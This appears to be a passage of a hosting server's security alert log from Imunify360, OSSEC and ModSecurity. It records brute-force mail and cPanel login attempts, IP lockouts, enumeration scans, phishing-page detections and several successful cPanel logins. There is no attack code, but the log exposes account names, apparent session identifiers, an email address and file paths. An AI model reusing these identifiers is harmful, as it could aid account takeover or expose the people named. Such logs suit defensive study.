IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||RSV:8.17||T:APACHE||MV:phpinfo.php~||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:57:39 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.195.24.147
country_id: 1269750
description:
Jun 15 21:57:43 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.195.24.147 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.9.12
country_id: 3469034
description:
Jun 15 21:59:10 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.9.12 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:58:25 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:58:27 dovecot_login authenticator failed for H=(7SOgXaEiv) [141.98.10.175]:59776: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:59:20 dovecot_login authenticator failed for H=(s46UIupy) [141.98.10.175]:56876: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.9.12
country_id: 3469034
description:
Jun 15 21:59:25 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.9.12 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:59:44 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.206
country_id: 3175395
description:
Jun 15 21:59:49 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.206 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 172.98.168.216
country_id: 2921044
domain: butodra.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:172.98.168.216||TA:172.98.168.216||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 13.38.52.163
country_id: 3017382
description:
[2026-06-15 22:00:10 +0000] info [cpaneld] 13.38.52.163 NEW wcnyaruu:lpZ6OFHCrBf7AEWc address=13.38.52.163,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 22:00:40 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 22:00:42 dovecot_login authenticator failed for H=(kmVJ7Slv) [141.98.10.175]:55209: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 22:01:37 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 22:01:39 dovecot_login authenticator failed for H=(yUIT1rK) [141.98.10.175]:63727: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 172.235.51.82
country_id: 6252001
description:
[2026-06-15 22:01:44 +0000] info [cpaneld] 172.235.51.82 NEW wcnyaruu:NE7Xl0lPe86kRmFU address=172.235.51.82,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 216.173.80.140
country_id: 6251999
domain: butodra.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:216.173.80.140||TA:216.173.80.140||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 22:02:29 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 22:02:31 dovecot_login authenticator failed for H=(4M4aYGX1u) [141.98.10.175]:62711: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 22:03:27 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 22:03:29 dovecot_login authenticator failed for H=(LK78F5) [141.98.10.175]:61472: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:22:04:50 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.234.217.134
country_id: 3658394
description:
[2026-06-15 22:04:52 +0000] info [cpaneld] 177.234.217.134 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 41.251.188.17
country_id: 2542007
description:
[2026-06-15 22:04:54 +0000] info [cpaneld] 41.251.188.17 - macite "GET /login/?login_only=1&user=macite&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user macite (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.174.89.143
country_id: 3865483
description:
[2026-06-15 22:05:13 +0000] info [cpaneld] 190.174.89.143 - ma "GET /login/?login_only=1&user=ma&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ma (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 22:04:25 dovecot_login authenticator failed for H=(wpYUBoVd7) [141.98.10.175]:59657: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:22:04:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.99.71.116
country_id: 3865483
description:
[2026-06-15 22:05:19 +0000] info [cpaneld] 190.99.71.116 - ma "GET /login/?login_only=1&user=ma&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ma (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 80.246.94.114
country_id: 2017370
description:
[2026-06-15 22:04:56 +0000] info [cpaneld] 80.246.94.114 - macitetg "GET /login/?login_only=1&user=macitetg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user macitetg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.133.37.140
country_id: 3686110
description:
[2026-06-15 22:05:01 +0000] info [cpaneld] 181.133.37.140 - maci "GET /login/?login_only=1&user=maci&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user maci (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 22:04:23 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.54.251.23
country_id: 3439705
description:
[2026-06-15 22:04:59 +0000] info [cpaneld] 186.54.251.23 - macite "GET /login/?login_only=1&user=macite&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user macite (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.91.88.16
country_id: 3469034
description:
[2026-06-15 22:05:06 +0000] info [cpaneld] 187.91.88.16 - macit "GET /login/?login_only=1&user=macit&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user macit (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 105.101.35.219
country_id: 2589581
description:
[2026-06-15 22:05:15 +0000] info [cpaneld] 105.101.35.219 - mac "GET /login/?login_only=1&user=mac&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mac (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 152.231.210.71
country_id: 3624060
description:
[2026-06-15 22:05:19 +0000] info [cpaneld] 152.231.210.71 - sotranetogo "GET /login/?login_only=1&user=sotranetogo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sotranetogo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.12.26.54
country_id: 3469034
description:
[2026-06-15 22:06:07 +0000] info [cpaneld] 177.12.26.54 - tilitu "GET /login/?login_only=1&user=tilitu&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tilitu (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.140.224.97
country_id: 3686110
description:
[2026-06-15 22:05:33 +0000] info [cpaneld] 181.140.224.97 - sotranet "GET /login/?login_only=1&user=sotranet&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sotranet (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.173.234.129
country_id: 3895114
description:
[2026-06-15 22:05:47 +0000] info [cpaneld] 181.173.234.129 - sotr "GET /login/?login_only=1&user=sotr&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sotr (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.248.170.1
country_id: 3625428
description:
[2026-06-15 22:05:51 +0000] info [cpaneld] 38.248.170.1 - sot "GET /login/?login_only=1&user=sot&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sot (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.8.134.141
country_id: 3469034
description:
[2026-06-15 22:05:55 +0000] info [cpaneld] 177.8.134.141 - so "GET /login/?login_only=1&user=so&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user so (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 104.136.44.15
country_id: 6252001
description:
[2026-06-15 22:05:59 +0000] info [cpaneld] 104.136.44.15 - tilitul "GET /login/?login_only=1&user=tilitul&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tilitul (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.234.54.220
country_id: 3686110
description:
[2026-06-15 22:06:09 +0000] info [cpaneld] 181.234.54.220 - tilit "GET /login/?login_only=1&user=tilit&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tilit (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 22:05:49 dovecot_login authenticator failed for H=(WU8uhjiH) [141.98.10.175]:58520: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.195.24.147
country_id: 1269750
description:
Jun 15 22:05:52 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.195.24.147 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.217.239.79
country_id: 3865483
description:
[2026-06-15 22:05:52 +0000] info [cpaneld] 201.217.239.79 - tilitulab "GET /login/?login_only=1&user=tilitulab&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tilitulab (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.190.168.67
country_id: 3625428
description:
[2026-06-15 22:05:22 +0000] info [cpaneld] 45.190.168.67 - sotranetogocom "GET /login/?login_only=1&user=sotranetogocom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sotranetogocom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.156.230.140
country_id: 3686110
description:
[2026-06-15 22:05:26 +0000] info [cpaneld] 38.156.230.140 - sotranetog "GET /login/?login_only=1&user=sotranetog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sotranetog (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 22:05:47 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 22:06:44 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 22:06:46 dovecot_login authenticator failed for H=(79r995) [141.98.10.175]:56995: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 22:07:22 dovecot_login authenticator failed for H=(muK4zz3AH) [141.98.10.175]:63998: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:22:08:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13003116&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781561319 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 162.252.55.202
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:162.252.55.202||TA:162.252.55.202||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.64.164.199
country_id: 2363686
description:
2026-06-15 22:12:11 dovecot_plain authenticator failed for H=([192.168.1.71]) [102.64.164.199]:11023: 535 Incorrect authentication data (set_id=sename.avegnon@arse.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.195.24.147
country_id: 1269750
description:
Jun 15 22:12:43 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.195.24.147 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 152.232.121.237
country_id: 6252001
domain: macite.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:152.232.121.237||TA:152.232.121.237||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.178.139
country_id: 3175395
description:
Jun 15 22:15:00 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.178.139 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.239.193.17
country_id: 3469034
domain: lasnb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/lasnb.com/audios HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.64.164.199
country_id: 2363686
description:
2026-06-15 22:19:03 dovecot_plain authenticator failed for H=([192.168.1.71]) [102.64.164.199]:10726: 535 Incorrect authentication data (set_id=sename.avegnon@arse.tg)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:22:20:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:22:20:10 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.195.24.147
country_id: 1269750
description:
Jun 15 22:20:52 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.195.24.147 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 172.83.253.203
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:172.83.253.203||TA:172.83.253.203||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:22:24:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13146474&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781562257 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.199
country_id: 1880251
description:
47.128.96.199 - - [15/Jun/2026:22:24:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10196423&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fgouvernement-togolais-2024%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781562261 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/gouvernement-togolais-2024/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.199


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 64.44.59.157
country_id: 6252001
domain: togofarm.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/ifxmoxbf/public_html/.541182906263121.php||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.255.68
country_id: 3017382
description:
[2026-06-15 22:24:54 +0000] info [cpaneld] 5.231.255.68 NEW wcnyaruu:i9MwEsUbzwK50P43 address=5.231.255.68,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.34
country_id: 2635167
description:
[2026-06-15 22:25:10 +0000] info [cpaneld] 5.230.153.34 NEW ifxmoxbf:_melaKqvRPKI9QBz address=5.230.153.34,app=cpaneld,creator=ifxmoxbf,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 134.195.82.68
country_id: 6252001
description:
[2026-06-15 22:25:14 +0000] info [cpaneld] 134.195.82.68 NEW ifxmoxbf:fGAopWLGlwJWUnYF address=134.195.82.68,app=cpaneld,creator=ifxmoxbf,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.223
country_id: 2635167
description:
[2026-06-15 22:25:16 +0000] info [cpaneld] 5.230.133.223 NEW ifxmoxbf:J6_ND6eXwBkQp4PH address=5.230.133.223,app=cpaneld,creator=ifxmoxbf,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.133.110
country_id: 2635167
domain: togofarm.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/ifxmoxbf/public_html/.884122514700246.php||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.231.255.50
country_id: 3017382
domain: togofarm.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/ifxmoxbf/public_html/.646733264612834.php||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 212.237.122.95
country_id: 99237
description:
[2026-06-15 22:26:25 +0000] info [cpaneld] 212.237.122.95 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.10.184.77
country_id: 1643084
description:
[2026-06-15 22:26:28 +0000] info [cpaneld] 157.10.184.77 - brmn "GET /login/?login_only=1&user=brmn&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user brmn (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 79.177.155.167
country_id: 294640
description:
[2026-06-15 22:26:31 +0000] info [cpaneld] 79.177.155.167 - brmntg "GET /login/?login_only=1&user=brmntg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user brmntg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 194.58.175.221
country_id: 2017370
description:
[2026-06-15 22:26:37 +0000] info [cpaneld] 194.58.175.221 - br "GET /login/?login_only=1&user=br&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user br (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 165.50.7.238
country_id: 2464461
description:
[2026-06-15 22:26:26 +0000] info [cpaneld] 165.50.7.238 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 191.99.59.51
country_id: 3658394
description:
[2026-06-15 22:26:29 +0000] info [cpaneld] 191.99.59.51 - brmn "GET /login/?login_only=1&user=brmn&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user brmn (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 86.249.121.217
country_id: 3017382
description:
[2026-06-15 22:26:34 +0000] info [cpaneld] 86.249.121.217 - brm "GET /login/?login_only=1&user=brm&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user brm (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.190.167.138
country_id: 3996063
description:
[2026-06-15 22:26:37 +0000] info [cpaneld] 187.190.167.138 - br "GET /login/?login_only=1&user=br&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user br (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 196.115.92.51
country_id: 2542007
description:
196.115.92.51 - - [15/Jun/2026:22:28:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13133930&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fnouveaux-cas-positifs-de-coronavirus%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781562525 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/nouveaux-cas-positifs-de-coronavirus/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.1679.1604 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:196.115.92.51


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 38.25.16.169
country_id: 3932488
description:
38.25.16.169 - - [15/Jun/2026:22:28:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9855640&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Freseau-de-voleurs-de-motos-demantele-a-zanguera%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781562517 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/reseau-de-voleurs-de-motos-demantele-a-zanguera/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.9247.1174 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:38.25.16.169


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.138.144.202
country_id: 1210997
description:
Jun 15 22:34:21 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.138.144.202 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.138.144.202
country_id: 1210997
description:
2026-06-15 22:34:23 dovecot_plain authenticator failed for H=(0jhbj0ryf5t8dytgl2) [103.138.144.202]:49013: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
